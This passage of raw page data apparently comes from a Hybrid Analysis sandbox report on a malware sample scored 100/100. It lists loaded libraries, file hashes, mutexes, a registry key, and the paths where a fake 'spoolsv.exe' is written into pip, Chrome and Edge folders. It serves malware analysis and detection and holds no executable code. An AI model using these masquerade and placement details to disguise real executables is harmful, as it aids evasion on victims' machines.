2_32.dll","msvcrt.dll","powrprof.dll","Microsoft.PowerShell.Commands.Utility.dll","apphelp.dll","vcruntime140.dll","coml2.dll","System.Windows.Forms.dll","wow64.dll","nsi.dll","dhcpcsvc.dll","msasn1.dll","System.Xml.ni.dll","System.Data.dll","OpcServices.dll","urlmon.dll","fltLib.dll","IPHLPAPI.DLL","mswsock.dll","clbcatq.dll","wbemprox.dll","wtsapi32.dll","Microsoft.Management.Infrastructure.ni.dll","System.Configuration.Install.dll","ole32.dll","System.DirectoryServices.dll","rasadhlp.dll","profapi.dll","dpapi.dll","System.ni.dll","AppxSip.dll","cryptsp.dll","FWPUCLNT.DLL","psapi.dll","ucrtbase.dll","oleaut32.dll","amsi.dll","xmllite.dll","winsta.dll"]},"file_activity":{"dropped_files":[],"extracted_files":[{"name":"spoolsv.exe","sha256":"4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"6ae735b650eef844740b184b"}]},{"name":"__PSScriptPolicyTest_eipdw3og.bn4.ps1","sha256":"96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ae735b650eef844740b184b"}]},{"name":"__PSScriptPolicyTest_ndzjpz0u.qxr.ps1","sha256":"96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ae735b650eef844740b184b"}]},{"name":"ModuleAnalysisCache","sha256":"7e0ba182715ef32d83fbb787a48fff9ce0d36f5093bbe090e053fbb0ea0ef572","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ae735b650eef844740b184b"}]},{"name":"StartupProfileData-Interactive","sha256":"e28af91da8074a563149c8df49e1e039dbd6194b89fe10ff3efc5e38bc90b00b","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ae735b650eef844740b184b"}]},{"name":"__PSScriptPolicyTest_frn5x1xu.v00.psm1","sha256":"96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ae735b650eef844740b184b"}]},{"name":"__PSScriptPolicyTest_i0txb3ps.gf3.psm1","sha256":"96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ae735b650eef844740b184b"}]}],"files_written":[{"path":"\\Global??\\FltMgrMsg","sources":[{"report_type":"sandbox","report_id":"6ae735b650eef844740b184b"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{D03DB0C1-2729-4674-A875-8625DD784300}","sources":[{"report_type":"sandbox","report_id":"6ae735b650eef844740b184b"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{D27478B9-2058-11E8-B41F-806E6F6E6963}","sources":[{"report_type":"sandbox","report_id":"6ae735b650eef844740b184b"}]},{"path":"%LOCALAPPDATA%\\pip\\e23e95db-b2bd-f157-ae6a-2004779cdbb2","sources":[{"report_type":"sandbox","report_id":"6ae735b650eef844740b184b"}]},{"path":"%LOCALAPPDATA%\\pip\\spoolsv.exe","sources":[{"report_type":"sandbox","report_id":"6ae735b650eef844740b184b"}]},{"path":"%TEMP%\\e23e95db-b2bd-f157-ae6a-2004779cdbb2","sources":[{"report_type":"sandbox","report_id":"6ae735b650eef844740b184b"}]},{"path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\spoolsv.exe","sources":[{"report_type":"sandbox","report_id":"6ae735b650eef844740b184b"}]},{"path":"%PROGRAMFILES%\\Google\\Chrome\\Application\\spoolsv.exe","sources":[{"report_type":"sandbox","report_id":"6ae735b650eef844740b184b"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_ndzjpz0u.qxr.ps1","sources":[{"report_type":"sandbox","report_id":"6ae735b650eef844740b184b"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_frn5x1xu.v00.psm1","sources":[{"report_type":"sandbox","report_id":"6ae735b650eef844740b184b"}]},{"path":"%WINDIR%\\System32\\CatRoot","sources":[{"report_type":"sandbox","report_id":"6ae735b650eef844740b184b"}]},{"path":"%WINDIR%\\System32\\catroot2","sources":[{"report_type":"sandbox","report_id":"6ae735b650eef844740b184b"}]},{"path":"C:\\Users\\%OSUSER%","sources":[{"report_type":"sandbox","report_id":"6ae735b650eef844740b184b"}]},{"path":"%USERPROFILE%\\AppData\\Roaming","sources":[{"report_type":"sandbox","report_id":"6ae735b650eef844740b184b"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_eipdw3og.bn4.ps1","sources":[{"report_type":"sandbox","report_id":"6ae735b650eef844740b184b"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_i0txb3ps.gf3.psm1","sources":[{"report_type":"sandbox","report_id":"6ae735b650eef844740b184b"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKLMHKLM\\SOFTWARE\\WOW6432NODE\\MICROSOFT\\WBEM\\CIMOM\\","sources":[{"report_type":"sandbox","report_id":"6ae735b650eef844740b184b"}]}],"keys_modified":null,"keys_deleted":null},"mutex_activity":{"mutex_created":[{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:9068:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ae735b650eef844740b184b"}]},{"name":"Local\\SM0:9068:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ae735b650eef844740b184b"}]},{"name":"SM0:9068:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ae735b650eef844740b184b"}]},{"name":"SM0:9068:64:WilError_03","sources":[{"report_type":"sandbox","report_id":"6ae735b650eef844740b184b"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:9068:64:WilError_03","sources":[{"report_type":"sandbox","report_id":"6ae735b650eef844740b184b"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:9068:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ae735b650eef844740b184b"}]},{"name":"\\BaseNamedObjects\\WEBR_320VDP773DX2","sources":[{"report_type":"sandbox","report_id":"6ae735b650eef844740b184b"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:8464:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ae735b650eef844740b184b"}]},{"name":"SM0:8464:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ae735b650eef844740b184b"}]},{"name":"RstrMgr-3887CAB8-533F-4C85-B0DC-3E5639F8D511-Session0000","sources":[{"report_type":"sandbox","report_id":"6ae735b650eef844740b184b"}]},{"name":"RstrMgr3887CAB8-533F-4C85-B0DC-3E5639F8D511","sources":[{"report_type":"sandbox","report_id":"6ae735b650eef844740b184b"}]},{"name":"Local\\SM0:8464:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ae735b650eef844740b184b"}]},{"name":"SM0:8464:64:WilError_03","sources":[{"report_type":"sandbox","report_id":"6ae735b650eef844740b184b"}]},{"name":"Local\\SM0:8464:64:WilError_03","sources":[{"report_type":"sandbox","report_id":"6ae735b650eef844740b184b"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\RstrMgr3887CAB8-533F-4C85-B0DC-3E5639F8D511","sources":[{"report_type":"sandbox","report_id":"6ae735b650eef844740b184b"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\RstrMgr-3887CAB8-533F-4C85-B0DC-3E5639F8D511-Session0000","sources":[{"report_type":"sandbox","report_id":"6ae735b650eef844740b184b"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:8464:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ae735b650eef844740b184b"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:8464:64:WilError_03","sources":[{"report_type":"sandbox","report_id":"6ae735b650eef844740b184b"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:8464:64:WilError_03","sources":[{"report_type":"sandbox","report_id":"6ae735b650eef844740b184b"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:4032:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ae735b650eef844740b184b"}]},{"name":"Local\\SM0:4032:64:WilError_03","sources":[{"report_type":"sandbox","report_id":"6ae735b650eef844740b184b"}]},{"name":"Local\\SM0:4032:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ae735b650eef844740b184b"}]},{"name":"SM0:4032:64:WilError_03","sources":[{"report_type":"sandbox","report_id":"6ae735b650eef844740b184b"}]},{"name":"Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"6ae735b650eef844740b184b"}]},{"name":"Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"6ae735b650eef844740b184b"}]},{"name":"SM0:4032:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ae735b650eef844740b184b"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:4032:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ae735b650eef844740b184b"}]},{"name":"\\BaseNamedObjects\\CLR_PerfMon_WrapMutex","sources":[{"report_type":"sandbox","report_id":"6ae735b650eef844740b184b"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:4032:64:WilError_03","sources":[{"report_type":"sandbox","report_id":"6ae735b650eef844740b184b"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:4032:64:WilError_03","sources":[{"report_type":"sandbox","report_id":"6ae735b650eef844740b184b"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"6ae735b650eef844740b184b"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"6ae735b650eef844740b184b"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:3452:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ae735b650eef844740b184b"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:3452:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ae735b650eef844740b184b"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:3452:64:WilError_03","sources":[{"report_type":"sandbox","report_id":"6ae735b650eef844740b184b"}]},{"name":"SM0:3452:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ae735b650eef844740b184b"}]},{"name":"SM0:3452:64:WilError_03","sources":[{"report_type":"sandbox","report_id":"6ae735b650eef844740b184b"}]},{"name":"Local\\SM0:3452:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ae735b650eef844740b184b"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:736:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ae735b650eef844740b184b"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:736:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ae735b650eef844740b184b"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:736:64:WilError_03","sources":[{"report_type":"sandbox","report_id":"6ae735b650eef844740b184b"}]},{"name":"Local\\SM0:736:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ae735b650eef844740b184b"}]},{"name":"SM0:736:64:WilError_03","sources":[{"report_type":"sandbox","report_id":"6ae735b650eef844740b184b"}]},{"name":"SM0:736:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ae735b650eef844740b184b"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:2956:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ae735b650eef844740b184b"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\WEBR_320VDP773DX2","sources":[{"report_type":"sandbox","report_id":"6ae735b650eef844740b184b"}]},{"name":"Global\\WEBR_320VDP773DX2","sources":[{"report_type":"sandbox","report_id":"6ae735b650eef844740b184b"}]},{"name":"SM0:2956:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ae735b650eef844740b184b"}]}]}},"report_ids":{"sandbox_job_ids":["6ae735b650eef844740b184b"]}}}]]}] 2c:[["$","title","0",{"children":"Malicious Dump:Generic.Dacic.18086 Sample 4de2ee5e21f8… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample 4de2ee5e21f8…. Malware family: Dump:Generic.Dacic.18086. Threat score 100/100. 11/24 AV engines flagged this file. 15 malicious and 16 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab"}],["$","meta","4",{"property":"og:title","content":"Malicious Dump:Generic.Dacic.18086 Sample 4de2ee5e21f8… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample 4de2ee5e21f8…. Malware family: Dump:Generic.Dacic.18086. Threat score 100/100. 11/24 AV engines flagged this file. 15 malicious and 16 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Dump:Generic.Dacic.18086 Sample 4de2ee5e21f8… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample 4de2ee5e21f8…. Malware family: Dump:Generic.Dacic.18086. Threat score 100/100. 11/24 AV engines flagged this file. 15 malicious and 16 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L62","11",{}]] 32:null